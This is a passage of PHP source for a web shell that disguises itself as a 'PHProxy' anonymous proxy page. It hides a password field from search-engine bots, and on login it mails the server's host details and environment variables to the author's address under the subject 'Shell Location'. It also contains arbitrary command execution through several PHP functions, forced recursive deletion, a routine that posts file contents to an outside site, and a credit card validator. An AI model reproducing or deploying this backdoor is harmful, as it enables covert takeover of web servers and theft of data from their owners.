- YXlfc2hpZnQoJF9yZXNwb25zZV9rZXlzKSk7YXJyYXlfc2hpZnQoJF9yZXNwb25zZV9oZWFkZXJz
- KTtmb3JlYWNoKCRfcmVzcG9uc2VfaGVhZGVycyBhcyAkbmFtZSA9PiAkYXJyYXkpe2ZvcmVhY2go
- JGFycmF5IGFzICR2YWx1ZSl7aGVhZGVyKCRfcmVzcG9uc2Vfa2V5c1skbmFtZV0uJzogJy4kdmFs
- dWUsZmFsc2UpO319ZWNobyAkX3Jlc3BvbnNlX2JvZHk7ZXhpdCgwKTs=');
- $c_v=md5($_SERVER['HTTP_HOST']."Page_Login".$pass);
- if(isset($_POST['x'])){
- if(md5($_POST['x'])!=$pass){eval($menu);}else{
- @setcookie('Page_Login',$c_v,time()+(60*(60*24)));
- date_default_timezone_set('Etc/GMT');
- $array_hari=array(1 =>'Senin','Selasa','Rabu','Kamis','Jumat','Sabtu','Minggu');
- $hari=$array_hari[date('N')];
- $array_bulan=array(1 =>'Januari','Februari','Maret','April','Mei','Juni','Juli','Agustus','September','Oktober','Novemer','Desember');
- $bulan=$array_bulan[date('n')];
- $tgl=date('j');
- $thn=date('Y');
- $rx=gmdate(" H:i:s",time()+7*3600);
- $xu=sliam();
- $message="<html><head><link rel='stylesheet' href='//cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.0.0/css/bootstrap.min.css' />
- <style>table,thead,tr,td,th{border-collapse:collapse;border:1px solid #dee2e6}</style>
- </head><body><table class='table table-striped'><thead class='thead-dark'><tr><th colspan='2' class='text-center'><h1 style='color:#f00;'>System Information</h1></th></tr></thead>
- <tr><th>Url</th><td><a href='http".(isset($_SERVER['HTTPS'])?"s":"")."://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']."' target='_blank'>Buka Disini</a></td></tr>
- <tr><th>Disable Function</th><td>".ini_get('disable_functions')."</td></tr>
- <tr><th>System</th><td>".php_uname('n')."</td></tr>
- <tr><th>Php Version</th><td>".phpversion()."</td></tr>
- <tr><th>Waktu Login</th><td>$hari, ".$tgl."-$bulan-".$thn.$rx."</td></tr>\n";
- foreach($_SERVER as$key=>$row){$message.="<tr><th>$key</th><td>$row</td></tr>\n";}
- $message.='</table></body></html>';
- $to='Eddie Kidiw <eddiekidiw@gmail.com>';
- $subject='Shell Location '.$_SERVER['SERVER_NAME'];
- $headers="MIME-Version: 1.0\r\nContent-type: text/html; charset=UTF-8\r\nContent-Transfer-Encoding: base64\r\nFrom: Shell Location <$xu>\r\nReply-To: Shell Location <$xu>\r\nX-Mailer: PHP/".phpversion()."\r\nReturn-Path: $to\r\n";
- @mail($to,$subject,rtrim(chunk_split(base64_encode($message))),$headers);
- }
- }elseif(isset($_COOKIE['Page_Login'])){
- if($_COOKIE['Page_Login'] != $c_v){eval($menu);}
- }elseif(!isset($_COOKIE['Page_Login'])){eval($menu);}
- function add_cookie($a,$b,$c=0){
- return rawurlencode(rawurlencode($a)).'='.rawurlencode(rawurlencode($b)).(empty($c)?'':';expires='.gmdate('D, d-M-Y H:i:s \G\M\T',$c)).'; path=/; domain=.'.$GLOBALS['_http_host'];
- }
- function set_post_vars($a,$b=null){
- $c=array();
- foreach($a as $d=>$e){
- $d=isset($b)?sprintf('%s[%s]',$b,urlencode($d)):urlencode($d);
- if(is_array($e)){
- $c=array_merge($f,set_post_vars($e,$d));
- }else{
- $f[$d]=urlencode($e);
- }
- }
- return $f;
- }
- function set_post_files($a,$b=null){
- $c=array();
- foreach($a as $d=>$d){
- $d=isset($b)?sprintf('%s[%s]',$b,urlencode($d)):urlencode($d);
- if(is_array($d)){
- $c=array_merge_recursive($c, set_post_files($d,$d));
- }elseif(preg_match('#^([^\[\]]+)\[(name|type|tmp_name)\]#',$d,$m)){
- $c[str_replace($m[0],$m[1],$d)][$m[2]]=$d;
- }
- }
- return $c;
- }
- function url_parse($a,&$b){
- $c=@parse_url($a);
- if(!empty($c)){
- $c['port_ext']='';
- $c['base']=$c['scheme'].'://'.$c['host'];
- if(isset($c['port'])) {
- $c['base'].=$c['port_ext']=':'.$c['port'];
- }else{
- $c['port']=$c['scheme']==='https'? 443:80;
- }
- $c['path']=isset($c['path'])?$c['path']:'/';
- $d=array();
- $c['path']=explode('/',$c['path']);
- foreach($c['path'] as $e) {
- if($e==='..'){
- array_pop($d);
- }elseif($e!=='.'){
- for($e=rawurldecode($e),$f='',$i=0,$g=strlen($e);$i<$g;$f.=strspn($e{$i},'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789$-_.+!*\'(),?:@&;=')?$e{$i}:rawurlencode($e{$i}),++$i);
- $d[]=$f;
- }
- }
- $c['path']=str_replace('/%7E','/~','/'.ltrim(implode('/',$d),'/'));
- $c['file']=substr($c['path'],strrpos($c['path'],'/')+1);
- $c['dir']=substr($c['path'],0,strrpos($c['path'],'/'));
- $c['base'].=$c['dir'];
- $c['prev_dir']=substr_count($c['path'],'/')>1?substr($c['base'],0,strrpos($c['base'],'/')+1):$c['base'].'/';
- $b=$c;
- return true;
- }
- return false;
- }
- function complete_url($a,$b=true){
- $a=trim($a);
- if($a===''){return '';}
- $c=strrpos($a,'#');
- $d=$c!==false?'#'.substr($a,$c):'';
- $e=strpos($a,'://');
- if($e===false||$e>5){
- switch($a{0}){
- case '/':
- $a=substr($a,0,2)==='//'?$GLOBALS['_base']['scheme'].':'.$a:$GLOBALS['_base']['scheme'].'://'.$GLOBALS['_base']['host'].$GLOBALS['_base']['port_ext'].$a;
- break;
- case '?':
- $a=$GLOBALS['_base']['base'].'/'.$GLOBALS['_base']['file'].$a;
- break;
- case '#':
- $b=false;
- break;
- case 'm':
- if(substr($a,0,7)=='mailto:'){
- $b=false;
- break;
- }
- default:
- $a=$GLOBALS['_base']['base'].'/'.$a;
- }
- }
- return $b?"{$GLOBALS['_script_url']}?{$GLOBALS['_config']['url_var_name']}=".encode_url($a).$d:$a;
- }
- function proxify_inline_css($a){preg_match_all('#url\s*\(\s*(([^)]*(\\\))*[^)]*)(\)|$)?#i',$a,$b,PREG_SET_ORDER);for($i=0,$c=count($b);$i<$c;++$i){$a=str_replace($b[$i][0],'url('.proxify_css_url($b[$i][1]).')',$a);}return$a;}
- function proxify_css($a){
- $a=proxify_inline_css($a);
- preg_match_all("#@import\s*(?:\"([^\">]*)\"?|'([^'>]*)'?)([^;]*)(;|$)#i",$a,$b,PREG_SET_ORDER);
- for($i=0,$e=count($b);$i<$e;++$i){
- $c='"';
- $d=$b[$i][2];
- if(isset($b[$i][3])){
- $c="'";
- $d=$b[$i][3];
- }
- $a=str_replace($b[$i][0],'@import '.$c . proxify_css_url($b[$i][1]).$c.(isset($b[$i][4])?$b[$i][4]:''),$a);
- }
- return $a;
- }
- function proxify_css_url($a){
- $a=trim($a);
- $b=strpos($a,'"')===0?'"':(strpos($a,"'")===0?"'":'');
- return $b.preg_replace('#([\(\),\s\'"\\\])#','\\$1',complete_url(trim(preg_replace('#\\\(.)#','$1',trim($a,$b))))).$b;
- }
- //
- // FUNCTION DECLARATIONS
- //
- function show_report($data) {
- echo'<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
- <html xmlns="http://www.w3.org/1999/xhtml">
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
- <link rel="shortcut icon" href="data:image/x-icon;base64,AAABAAEAEBAAAAEAIABoBAAAFgAAACgAAAAQAAAAIAAAAAEAIAAAAAAAAAAAABMLAAATCwAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAAAA0AAHLsMAHH6/ADG2vgFE1bsAWtK5AHKuuACKcsEAryEAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAADlHgAM0wQAhdQEDPHhQFn/7mOE//Nzof/wcbL/5Fq2/9I2tP++
- ArTmrQC6bpcAzAIAAAAAAAAAAAAAAADrRwAO4ioArulSQP/4hYT//5af//90kf//YJr//2C3//94
- 2P/8ku//6HHq/7YyzP+JAL2RbQDOBQAAAAAAAAAA8FYAkvB3RP/8ppL//3tv//9RWP//Wnn//16b
- //9cvP//V9r//0z3//F7///WhfH/lzTP/2EAwm8AAAAA+oIAPvh8C/v7uY7//5dq//95W///cWv/
- /3aJ//98rf//e83//3Ht//dj///ZUv//z3z//7Nz7P9ZBszrRgDMIvumAJ79vmD//9Cc//+lW///
- onH//5qE//+Xm///n7///5/g//6S+//nfP//yWb//6hP//++lf3/ckDd/zYAzHn1vwnV/t2A///R
- bP//x2v//8eF///Env//vbP//7/Q//+/8f/0sP//1pb//7Z5//+VXv//mXf//4Jl7P8qBNC38doO
- 8f/ykP//6WL//+h2///nk///57D//+bK///l5f/83v3/4cb//8Km//+hhP//fmb//3Zk//+Ie/b/
- GgjV2OrsDvT5+pL/+v1k//r9e//5/Zj/+v21//r+0//6/u//7/P//9DV//+vs///jZH//2xv//9n
- af//goP7/wkN2dvN6g7b5PWC/+X/b//g/3n/4P+V/9//r//c/8f/3P/g/9n++v/F6f//p8r//4eq
- //9pi///eI7//3OG+/8IIt2+suYIrcbrZ//d/5v/xf9v/8P/jP++/6H/uf+z/73/z/+9/+7/sPj/
- /5ne//9+wv//Y6P//569//9Zg/j/AzbiipbfAFKg4Tj/y/aX/67/bP+k/3r/nf+N/5v/o/+k/8T/
- ov/f/5f/+P+F7///btP//3jF//+Sxfz/FG709gBS8DKA3gAGd9oJsJTiV/+7+Z3/iv9u/3n/dv+C
- /5f/if+2/4f/0f9+/+z/bfv+/3bo//+b3/z/VLr7/weC9o4AAAAAAAAAAGXYACBM1Q7PdOFY/6H2
- mf+e/6b/e/+e/3D/rv9w/8f/fP/j/6X/+v+Y9Pv/Vdj1/w23+bYAjfwRAAAAAAAAAAAAAAAAOtUE
- IiDQCa861z3/auZ8/4jzqv+W+cT/l/vT/4f32/9o7+D/Gufl+grV65gFu/QSAAAAAAAAAAAAAAAA
- AAAAAAAAAAAN2AADBNATVAzRNa8V0lXaGNR09BjWjPET2KLUDdu5ogbk2UUAAAAAAAAAAAAAAAAA
- AAAA/D/pEuAPxuzAA6PzgAOQBoAB9AQAASzgAAB0+AAAC6IAAJIIAAC1NwAADnKAAUbMgAF+9sAD
- 7VXgB8pX+B9sCA==">
- <meta name="title" content="PHProxy, PHProxy http, Phproxy Anonimous, Phproxy Anonimous Ip, Free Proxy Anonimous, Free Phproxy, Hyde me, Hyde me ipaddress, PHProxy web, anonyme, anonymous, no javascript, no cookies, no session, sans trace, mandataire"/>
- <meta name="description" content="Eddie Kidiw PHProxy, Phproxy, Hide Me, Hide My Ip"/>
- <meta name="keywords" content="PHProxy web, PHProxy http, anonyme, anonymous, no javascript, no cookies, no session, sans trace, mandataire"/>
- <meta name="author" content="Eddie Kidiw"/>
- <meta property="og:type" content="article" />
- <meta property="article:publisher" content="https://www.facebook.com/eddiekidiw1"/>
- <meta property="article:author" content="https://www.facebook.com/eddiekidiw1"/>
- <meta property="fb:app_id" content="511076252564662"/>
- <meta property="og:type" content="article"/>
- <meta property="og:url" content="http'.(isset($_SERVER['HTTPS'])?'s':'').'://'.$_SERVER['SERVER_NAME'].PHPSELF.'"/>
- <meta property="og:title" content="PHProxy - Eddie Kidiw - '.gethostbyaddr($_SERVER['SERVER_ADDR']).'"/>
- <meta property="og:description" content="Eddie Kidiw PHProxy, Phproxy, Hide Me, Hide My Ip"/>
- <meta property="og:image" content="https://goo.gl/C2qnhr"/>
- <title>PHProxy - Eddie Kidiw</title>
- <style type="text/css">body{background:#E6E6E6 url(data:image/jpg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAKAAAYDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAIDAQf/xAAWEAEBAQAAAAAAAAAAAAAAAAAAERL/xAAWAQEBAQAAAAAAAAAAAAAAAAABAAX/xAAUEQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIRAxEAPwDyeDSDTYC4LgCuC4ItILgCuC4IrguAK4Lgi0g0gEuC4IrguALSC4Irg0gCuC4IrguALSC4ArguCLSC4BKg0giuDSAK4LgCuDSCK4LgiuC4Arg0yArg0giuC4BLguCLSC4ArguALSCoIrguALSC4IrguALSC4JNILgC6AiAJACQAkAJP//Z);background-repeat:repeat-x}a:link{text-decoration:none;}a:hover{color:#0080FF}a:visited{text-decoration:none;}a,ul#navigation li a{text-decoration:none}body,input,ul#navigation li a:hover{color:#44352C}#footer,a{color:#9B9C83}#address_bar,ul#navigation li{border-top:2px #BFAA9B solid;padding:5px 0}#address_bar,ul#navigation li a{background-color:#AA8E79;color:#fff}#container,ul#form li{width:700px}body,input{/*font-family:"Comic Sans MS",cursive*/}a{border-bottom:1px #ffa600 dashed}#container{background:#fff;border:1px solid #9B9C83;-moz-border-radius:8px;margin:20px auto auto auto;padding:5px}#title{color:#C63;margin:0}ul#form,ul#navigation{list-style-type:none;padding:0;margin:0}ul#navigation{float:right}ul#form{clear:both}ul#navigation li{float:left;margin:0}ul#navigation li a{font-weight:700;padding:5px 15px;margin-left:1px;border-bottom:0 #fff solid}#footer{font-size:small;text-align:right}#address_bar{border-bottom:3px #BFAA9B solid;text-align:center}#go{background-color:#fff;font-weight:700;color:#AA8E79;border:0 solid #fff;padding:2px 5px}#address_box{width:500px}.option{padding:2px 0;background-color:#EEEBEA}.option label{border-bottom:2px #fff solid}form{margin:0}#auth,#error{background-color:#BF6464;border-top:1px solid #44352C;border-bottom:1px solid #44352C;width:700px;clear:both}#auth{background-color:#94C261}#auth form,#auth p,#error p{margin:5px}</style>
- <script src="https://code.jquery.com/jquery-latest.min.js"></script>
- <script>$(document).ready(function(){$(\'#cud\').focus()});</script>
- </head>
- <body>
- <div id="container">
- <h1 id="title">PHProxy - Eddie Kidiw</h1>
- <ul id="navigation">
- <li><a href="'.PHPSELF.'">URL Form</a></li>
- <li><a href="javascript:alert(\'cookie managment has not been implemented yet\')">Manage Cookies</a></li>
- </ul>';
- switch($data['category']){
- case 'auth':
- echo'
- <div id="auth"><p>
- <b>Enter your username and password for "'.htmlspecialchars($data['realm']).'" on '.$GLOBALS['_url_parts']['host'].'</b>
- <form method="post" action="">
- <input type="hidden" name="'.$GLOBALS['_config']['basic_auth_var_name'].'" value="'.base64_encode($data['realm']).'" />
- <label>Username <input type="text" name="username" value="" /></label> <label>Password <input type="password" name="password" value="" /></label> <input type="submit" value="Login" />
- </form></p></div>';
- break;
- case 'error':
- echo '<div id="error"><p>';
- switch($data['group']){
- case 'url':
- echo '<b>URL Error ('.$data['error'].')</b>:';
- switch($data['type']){
- case 'internal':
- $message='Failed to connect to the specified host. '.'Possible problems are that the server was not found, the connection timed out, or the connection refused by the host. '.'Try connecting again and check if the address is correct.';
- break;
- case 'external':
- switch($data['error']){
- case 1:
- $message='The URL you\'re attempting to access is blacklisted by this server. Please select another URL.';
- break;
- case 2:
- $message='The URL you entered is malformed. Please check whether you entered the correct URL or not.';
- break;
- }
- break;
- }
- break;
- case 'resource':
- echo '<b>Resource Error:</b> ';
- switch($data['type']){
- case 'file_size':
- $message='The file your are attempting to download is too large.<br />'.'Maxiumum permissible file size is <b>' . number_format($GLOBALS['_config']['max_file_size']/1048576, 2).' MB</b><br />'.'Requested file size is <b>' . number_format($GLOBALS['_content_length']/1048576, 2).' MB</b>';
- break;
- case 'hotlinking':
- $message='It appears that you are trying to access a resource through this proxy from a remote Website.<br />'.'For security reasons, please use the form below to do so.';
- break;
- }
- break;
- }
- echo 'An error has occured while trying to browse through the proxy. <br />'.$message.'</p></div>';
- break;
- }
- echo'<form method="post" action="'.PHPSELF.'">
- <ul id="form">
- <li id="address_bar"><label>Web Address <input id="address_box" type="text" name="'.$GLOBALS['_config']['url_var_name'];echo'" value="';
- echo isset($GLOBALS['_url'])?htmlspecialchars($GLOBALS['_url']):'';
- echo'" placeholder="https://www.google.com" /></label> <input id="go" type="submit" value="Go" /></li>';
- foreach($GLOBALS['_flags'] as $flag_name=>$flag_value){
- if(!$GLOBALS['_frozen_flags'][$flag_name]) {
- echo '<li class="option"><label><input type="checkbox" name="'.$GLOBALS['_config']['flags_var_name'].'['.$flag_name.']"'.($flag_value?' checked="checked"':'').' />'.$GLOBALS['_labels'][$flag_name][1].'</label></li>'."\n";
- }
- }
- echo'</ul>';
- if(isset($_GET['madu'])&&($_GET['madu']=='ra')){
- if(!empty($_SERVER['HTTP_USER_AGENT'])){$ua_stop=array('Google','Slurp','MSNBot','ia_archiver','Yandex','Rambler','bot','bing');
- if(preg_match('/'.implode('|',$ua_stop).'/i',$_SERVER['HTTP_USER_AGENT'])){header('HTTP/1.0 404 Not Found');exit;}}
- echo'<input type="password" name="x" id="cud" style="background:transparent;width:10px;border:0px solid transparent">';
- }
- echo'</form><div id="footer"><a href="'.PHPSELF.'">PHProxy</a>'.$GLOBALS['_version'].'<img src="//sstatic1.histats.com/0.gif?3522913&101"></div></div></body></html>';
- exit(0);
- }
- //End Function phproxy
- define('d_h','http'.(isset($_SERVER['HTTPS'])?'s':'').'://'.$_SERVER['SERVER_NAME']);
- function liam($a){
- /*
- $b=explode(".",$a);
- $c=end($b);
- $d=preg_replace("/\./","@",$a);
- return str_replace('@'.$c,'.'.$c,$d);
- */
- return 'localhost@'.$a;
- }
- function sliam(){
- if(function_exists('php_uname')){
- return liam(php_uname('n'));
- }elseif(function_exists('gethostbyname')&&function_exists('gethostbyaddr')) {
- $a=liam(gethostbyaddr(gethostbyname($_SERVER['HTTP_HOST'])));
- return $a;
- }else{
- preg_match("/@(.*)/",$_SERVER['SERVER_ADMIN'],$a);
- return 'eddiekidiw'.$a[0];
- }
- }
- function extensionfile($a,$b){
- if(class_exists('SplFileInfo')){
- $c=new SplFileInfo($a);
- $d=$c->getExtension();
- }else{
- $d=strtolower(pathinfo($a,PATHINFO_EXTENSION));
- }
- if(in_array($d,$b)){
- return true;
- }else{
- return false;
- }
- }
- function owneruser($a){
- $b=posix_getpwuid(fileowner($a));
- $c=posix_getgrgid(filegroup($a));
- return $b['name']."<span class='gaya'>:</span>".$c['name'];
- }
- function magicboom($text) {
- if(!get_magic_quotes_gpc()) {
- return $text;
- }
- return stripslashes($text);
- }
- function rapih($text) {
- return trim(str_replace("<br />","",$text));
- }
- function palbtn_($a) {
- if(!file_exists($a))
- return true;
- if(!is_dir($a)||is_link($a))
- return unlink($a);
- foreach(scandir($a) as $b) {
- if($b=='.'||$b=='..')
- continue;
- if(!palbtn_($a.'/'.$b)) {
- chmod($a.'/'.$b, 0777);
- if(!palbtn_($a.'/'.$b))
- return false;
- }
- }
- return rmdir($a);
- }
- function palbtn($a){
- if(is_link($a)){
- return unlink($a);
- }elseif(is_dir($a)){
- $b=scandir($a);
- $c=true;
- if(is_array($b)){
- foreach($b as $d){
- if($d!='.'&&$d!='..'){
- if(!palbtn($a.'/'.$d)){
- $c=false;
- }
- }
- }
- }
- return ($c)?rmdir($a):false;
- }elseif(is_file($a)){
- return unlink($a);
- }
- return false;
- }
- $quotes=get_magic_quotes_gpc();
- if($quotes=="1"or$quotes=="on") {
- $quot='<font style="color:#0ff">ON</font>';
- }else{
- $quot='<font style="color:#f00">OFF</font>';
- }
- function showdisablefunctions() {
- if(ini_get('disable_functions')) {
- return '<textarea style="border:1px solid #f00;color:#f00;height:15px;width:400px;">'.ini_get('disable_functions').'</textarea>';
- }else{
- return '<span style="color:#0ff">Yes Aman</span>';
- }
- }
- function infil($a){
- $b=fopen($a,'r');
- $c=fread($b,filesize($a));
- fclose($b);
- return $c;
- }
- function phpSyntax($a){
- $a=rawurlencode(infil($a));
- $b=curl_init();
- curl_setopt($b,CURLOPT_URL,"https://wapinet.ru/syntax2/index.php");
- curl_setopt($b,CURLOPT_POST,1);
- curl_setopt($b,CURLOPT_POSTFIELDS,"f=$a");
- $c[]="User-Agent: Gmanager 0.8.1";
- $c[]="Content-type: application/x-www-form-urlencoded";
- $c[]="Connection: close";
- $c[]="Host: wapinet.ru";
- $c[]="Content-length: ".(mb_strlen($a)+2);
- curl_setopt($b,CURLOPT_HTTPHEADER,$c);
- curl_setopt($b,CURLOPT_ENCODING,'UTF-8');
- curl_setopt($b,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($b,CURLOPT_FOLLOWLOCATION,1);
- curl_setopt($b,CURLOPT_COOKIEJAR,'wapinet');
- curl_setopt($b,CURLOPT_COOKIEFILE,'wapinet');
- curl_setopt($b,CURLOPT_COOKIESESSION,1);
- curl_setopt($b,CURLOPT_SSL_VERIFYPEER,0);
- curl_setopt($b,CURLOPT_SSL_VERIFYHOST,2);
- curl_setopt($b,CURLOPT_AUTOREFERER,1);
- $d=curl_exec($b);
- curl_close($b);
- $e=trim($d);
- $e=str_replace(urldecode("%D0%A1%D0%B8%D0%BD%D1%82%D0%B0%D0%BA%D1%81%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D1%85+%D0%BE%D1%88%D0%B8%D0%B1%D0%BE%D0%BA+%D0%BD%D0%B5+%D0%BD%D0%B0%D0%B9%D0%B4%D0%B5%D0%BD%D0%BE"),"No syntax error detected in code",$e);
- $e=str_replace("<span class=\"fail_code\">","<span id=\"fail_code\">",$e);
- $e=str_replace(base64_decode("0KDQsNC30LzQtdGA"),"Size",$e);
- $e=str_replace(base64_decode("0JrQvtC00LjRgNC+0LLQutCw"),"Encoding",$e);
- $e=str_replace(base64_decode("0KTQsNC50LvQsA=="),"",$e);
- $e=str_replace(base64_decode("0YHRgtGA0L7QutC1"),"",$e);
- $e=str_replace(base64_decode("0J/RgNC10LLRi9GI0LDQtdGCIDEwMjQga2I="),"Maximum size 1 Mb",$e);
- $e=str_replace(base64_decode("0J7RiNC40LHQutCwINCy"),"Error on line",$e);
- $e=str_replace(base64_decode("LdC+0Lkg0YHRgtGA0L7QutC1"),"</a>",$e);
- return $e;
- }
- function exx($a){
- $b='';
- $a=$a.' 2>&1';
- if(function_exists('system')){
- if(is_callable('system')) {
- ob_start();
- system($a);
- $b=ob_get_contents();
- ob_end_clean();
- if(!empty($b)) {
- return $b;
- }
- }
- }elseif(function_exists('shell_exec')) {
- if(is_callable('shell_exec')) {
- $b=shell_exec($a);
- if(!empty($b)) {
- return $b;
- }
- }
- }elseif(function_exists('exec')) {
- if(is_callable('exec')) {
- exec($a,$c);
- if(!empty($c)) {
- foreach($c as $d) {
- $b.=$d;
- }
- if(!empty($b)) {
- return $b;
- }
- }
- }
- }elseif(function_exists('passthru')) {
- if(is_callable('passthru')) {
- ob_start();
- passthru($a);
- $b=ob_get_contents();
- ob_end_clean();
- if(!empty($b)) {
- return $b;
- }
- }
- }elseif(function_exists('proc_open')) {
- if(is_callable('proc_open')) {
- $e=array(0=>array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w'));
- $f=proc_open($a,$e,$g, getcwd(), array());
- if(is_resource($f)) {
- while($h=fgets($g[1])) {
- if(!empty($h))
- $b.=$h;
- }
- while($i=fgets($g[2])) {
- if(!empty($i))
- $b.=$i;
- }
- }
- proc_close($f);
- if(!empty($b)) {
- return $b;
- }
- }
- }elseif(function_exists('popen')) {
- if(is_callable('popen')) {
- $j=popen($a, 'r');
- if($j) {
- while(!feof($j)) {
- $b.=fread($j, 2096);
- }
- pclose($j);
- }
- if(!empty($b)) {
- return $b;
- }
- }
- }
- return 'Uupsss Error...! ';
- }
- function delete_option($a){
- if(!$b){
- exe("rm -rf ".$a);
- if(file_exists($a) && is_file($a)){
- unlink($a);
- }elseif(file_exists($a) && is_dir($a)){
- rmdir($a);
- }
- }elseif($b){
- if(is_dir($a)){
- exe('rd /s /q '.$a);
- if(file_exists($a)){
- rmdir($a);
- }
- }else{
- exe('del /q /f '.$a);
- exe('rd /s /q '.$a);
- if(file_exists($a)){
- unlink($a);
- }
- }
- }
- }
- class CreditCardValidator {
- private $arrCardInfo=array('status'=>null, 'type'=>null, 'substring'=>null, 'reason'=>null);
- private $arrCardTypes=array('amex'=>array('name'=>'American Express','active'=>true, 'iinrange'=>'34,37','length'=>15), 'discover'=>array('name'=>'Discover','active'=>true, 'iinrange'=>'6011,622126-622925,644-649,65','length'=>16), 'mastercard'=>array('name'=>'MasterCard','active'=>true, 'iinrange'=>'51-55','length'=>16), 'visa'=>array('name'=>'VISA','active'=>true, 'iinrange'=>'4','length'=>16));
- private $arrAcceptedMII=array(3, 4, 5, 6);
- public function Validate($strCardNumber=null,$strCardType=null) {
- if($strCardNumber===null) {
- $this->arrCardInfo['failure']='format';
- $this->arrCardInfo['status']='invalid';
- return false;
- }
- if(($strCardType!==null)&&!in_array($strCardType,$this->arrCardTypes)) {
- $this->arrCardInfo['failure']='cardtype';
- $this->arrCardInfo['status']='invalid';
- return false;
- }
- if(!$this->CheckMII($strCardNumber)) {
- $this->arrCardInfo['failure']='mii';
- $this->arrCardInfo['status']='invalid';
- return false;
- }
- if(!$this->CheckIIN($strCardNumber)) {
- $this->arrCardInfo['failure']='iin';
- $this->arrCardInfo['status']='invalid';
- return false;
- }
- if(!$this->CheckLuhn($strCardNumber)) {
- $this->arrCardInfo['failure']='algorithm';
- $this->arrCardInfo['status']='invalid';
- return false;
- }
- $this->arrCardInfo['status']='valid';
- $this->arrCardInfo['substring']=$this->GetCardSubstring($strCardNumber);
- return true;
- }
- private function CleanCardNumber($strCardNumber=null) {
- return preg_replace('/[^0-9]/','',$strCardNumber);
- }
- private function GetCardSubstring($strCardNumber=null) {
- if(strstr($strCardNumber, '*')&&(substr($strCardNumber)<10))
- return $strCardNumber;
- $strCardNumber=$this->CleanCardNumber($strCardNumber);
- return $strCardNumber?'***' . substr($strCardNumber, (strlen($strCardNumber)-4), 4):'';
- }
- private function CheckMII($strCardNumber=null) {
- $strCardNumber=$this->CleanCardNumber($strCardNumber);
- if(!$strCardNumber)
- return false;
- $intFirstDigit=(int) substr($strCardNumber, 0, 1);
- if(!in_array($intFirstDigit,$this->arrAcceptedMII))
- return false;
- return true;
- }
- private function CheckLuhn($strCardNumber=null) {
- $strCardNumber=(string) $this->CleanCardNumber($strCardNumber);
- $strCheckDigit=substr($strCardNumber, (strlen($strCardNumber)-1), 1);
- $strCardNumberReverse=strrev($strCardNumber);
- $intTotal=0;
- for($i=1; $i<=strlen($strCardNumberReverse); $i++) {
- $intVal=(int) ($i%2)?$strCardNumberReverse[$i-1]:($strCardNumberReverse[$i-1]*2);
- if($intVal>9) {
- $strVal=(string) $intVal;
- $intVal=(int) ($strVal[0]+$strVal[1]);
- }
- $intTotal+=$intVal;
- }
- return (($intTotal%10)==0)?true:false;
- }
- private function CheckIIN($strCardNumber=null) {
- $strCardNumber=$this->CleanCardNumber($strCardNumber);
- if(!$strCardNumber)
- return false;
- $arrCardTypePossibilities=array();
- foreach($this->arrCardTypes as $strShortName=>$arrCardType) {
- if($arrCardType['active']===true) {
- $strLen=strlen($strCardNumber);
- if($strLen==$arrCardType['length']) {
- $arrRangeSets=explode(',',$arrCardType['iinrange']);
- foreach($arrRangeSets as $strRangeSetItem) {
- $arrStrRanges=explode('-',$strRangeSetItem);
- if(count($arrStrRanges)>1) {
- for($i=$arrStrRanges[0]; $i<=$arrStrRanges[1]; $i++) {
- if((strpos((string) $strCardNumber, (string) $i)===0)&&!in_array($strShortName,$arrCardTypePossibilities))
- $arrCardTypePossibilities[]=$strShortName;
- }
- }else{
- if((strpos((string) $strCardNumber, (string) trim($arrStrRanges[0]))===0)&&!in_array($strShortName,$arrCardTypePossibilities))
- $arrCardTypePossibilities[]=$strShortName;
- }
- }
- }
- }
- }
- $this->arrCardInfo['type']=implode('|',$arrCardTypePossibilities);
- return count($arrCardTypePossibilities)?true:false;
- }
- public function GetCardInfo() {
- return $this->arrCardInfo;
- }
- public function GetCardName($strCardShortName=null) {
- return isset($this->arrCardTypes[$strCardShortName]['name'])?$this->arrCardTypes[$strCardShortName]['name']:'';
- }
- }
- function showstat($a) {
- if($a=='on') {
- return '<font style="color:#0ff">ON</font>';
- }else{
- return '<font style="color:#f00;">OFF</font>';
- }
- }
- function testperl() {
- if(exe('perl -h')) {
- return showstat('on');
- }else{
- return showstat('off');
- }
- }
- function testfetch() {
- if(exe('fetch --help')) {
- return showstat('on');
- }else{
- return showstat('off');
- }
- }
- function testwget() {
- if(exe('wget --help')) {
- return showstat('on');
- }else{
- return showstat('off');
- }
- }
- function testoracle() {
- if(function_exists('ocilogon')) {
- return showstat('on');
- }else{
- return showstat('off');
- }
- }
- function testpostgresql() {
- if(function_exists('pg_connect')) {
- return showstat('on');
- }else{
- return showstat('off');
- }
- }
- function testmssql() {
- if(function_exists('mssql_connect')) {
- return showstat('on');
- }else{
- return showstat('off');
- }
- }
- function testcurl() {
- if(function_exists('curl_version')) {
- return showstat('on');
- }else{
- return showstat('off');
- }
- }
- function testmysql() {
- if(function_exists('mysql_connect')) {
- return showstat('on');
- }else{
- return showstat('off');
- }
- }
- function testmysqli(){
- if(function_exists('mysqli_connect')) {
- return showstat('on');
- }else{
- return showstat('off');
- }
- }
- function dlzip($a,$b){
- if(!extension_loaded('zip')||!file_exists($a)){
- return false;
- }
- $c=new ZipArchive();
- if(!$c->open($b,ZIPARCHIVE::CREATE)){
- return false;
- }
- $a=str_replace('\\','/',realpath($a));
- if(is_dir($a)===true){
- $d=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($a),RecursiveIteratorIterator::SELF_FIRST);
- foreach($d as $e){
